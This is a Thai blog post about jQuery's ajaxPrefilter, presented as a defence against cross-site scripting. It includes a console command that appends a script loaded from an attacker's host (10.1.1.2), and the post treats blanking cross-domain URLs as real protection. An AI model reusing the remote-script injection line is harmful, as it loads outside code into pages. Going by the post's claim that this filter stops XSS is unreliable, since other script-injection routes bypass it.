วันจันทร์ที่ 17 มีนาคม พ.ศ. 2557

Jquery ajaxPrefilter กับการป้องการ cross site script

หลายท่านคงเคยได้ยินการใส่ script จากที่อื่น เพื่อทำการโจมตีเว็บไซต์ หรือการใส่ bot เข้ามาในหน้าของเราได้

มาดูเหตุการณ์สมมติกันเลยดีกว่า

At my server 10.1.1.1 test.php กำลังทำงานเวลา 11 นาฬิกา


// test.php <!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
    <script type="text/javascript">
       
        function callpage(){
            $.post('callpage.php',function(data){
                alert(data);
            });
        }
       
    </script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>


// callpage.php
test

การทำงานง่ายๆ ครับ แค่คุณกดปุ่ม Test ก็จะเป็นการเรียก ajax request ไปหน้า callpage.php ซึ่งก็จะ return ข้อความ test กลับมาแสดงครับ



-------------- อีกสถานที่นึง ------------- เวลา 11.12 gamer เดินเข้าไปเพื่อจะสร้าง bot ยิง server โดยสร้าง script ของตัวเองขึ้นมาที่ 10.1.1.2
// outerscript.js
function callouterpage(){
    alert('outerpage');
}

gamer : Wa ha ha ha ha หัวเราะอย่างชั่วร้าย คำว่า test มันเก่าไปเปลี่ยน ๆ

gamer : เปิด firebug console and key in

// command
              $('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');

แค่นี่ข้าก็สามารถรันบอทที่เขียนไว้ได้แล้ว ho ho ho

gamer : callouterpage(); // ก็ alert('outerpage'); ออกมา โฮะๆๆ หมูจริงๆ งานนี้

--------------------------------------------------------------------------------------


ครับ และแล้วตัวร้ายก็ทำสำเร็จครับ 555 เป็นการแทรก script ที่ตัวเองเขียนแล้วเอาไปแทรกในหน้า page

 

มาป้องการเหตุการณ์นี้กันดีกว่าครับ

วันนี้มาแนะนำป้องกันโดย ajaxPrefilter ครับ ซึ่งทุกการ request จะต้องผ่าน Prefilter ก่อนถึงจะเข้าไปทำอะไรต่อได้ครับซึ่งเราสามารถดัดแปลงแก้ไขก่อนการ request ได้

    $.ajaxPrefilter(function(options, originalOptions, jqXHR){

            var token;
            if(!options.crossDomain){
                alert('not cross domain');
            }else{
                alert('cross domain');
                options.url = ''; // reject โดยการเปลี่ยน url กลางอากาศครับ 555
            }
        });

มาดูเต็มๆ กันครับ

สถานการณ์ที่ server หลังจากแก้ไข
admin : 555 ลองเข้ามาอีกสิ ไม่มีวันได้แอ้มหรอก

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <script type="text/javascript" src="../jquery/jquery_1.9.js"></script>
    <script type="text/javascript">
        $.ajaxPrefilter(function(options, originalOptions, jqXHR){
            var token;
            if(!options.crossDomain){
                alert('not cross domain');
            }else{
                alert('cross domain');
                options.url = ''; // reject
            }
        });

       
        function callpage(){
            $.post('callpage.php',function(data){
                alert(data);
            });
        }
       
    </script>
</head>
</body>
<input type="button" onClick="callpage()" value="Test" />
</body>
</html>



------------ กลับมาที่ gamer ครับ ---------------

gamer : วันนี้ช้านก็จะทำอีก 555

gamer: ป้อน script

// command
$('head').append('<script src="http://10.1.1.2/bot/outerscript.js"></script>');
เอ๊ะ ทำไมขึ้น cross domain ช่างมัน



gamer :  callouterpage(); // ReferenceError : callouterpage is not defined
 

gamer : เห้อ จบกัน 

----------------------------------------------
และเหตุการณ์ก็จบลงเพียงเท่านี้ครับ 
ลองไปจำลองเหตุการณ์แล้วลองเล่นกันดูครับ  

ขอให้ทุกท่านปลอดภัยจาก cross site scripting ครับ

หากมี domain ที่ให้ผ่านได้ก็เช็คจาก options.url ได้นะครับ

อ้างอิง : http://api.jquery.com/jquery.ajaxprefilter/

ไม่มีความคิดเห็น:

แสดงความคิดเห็น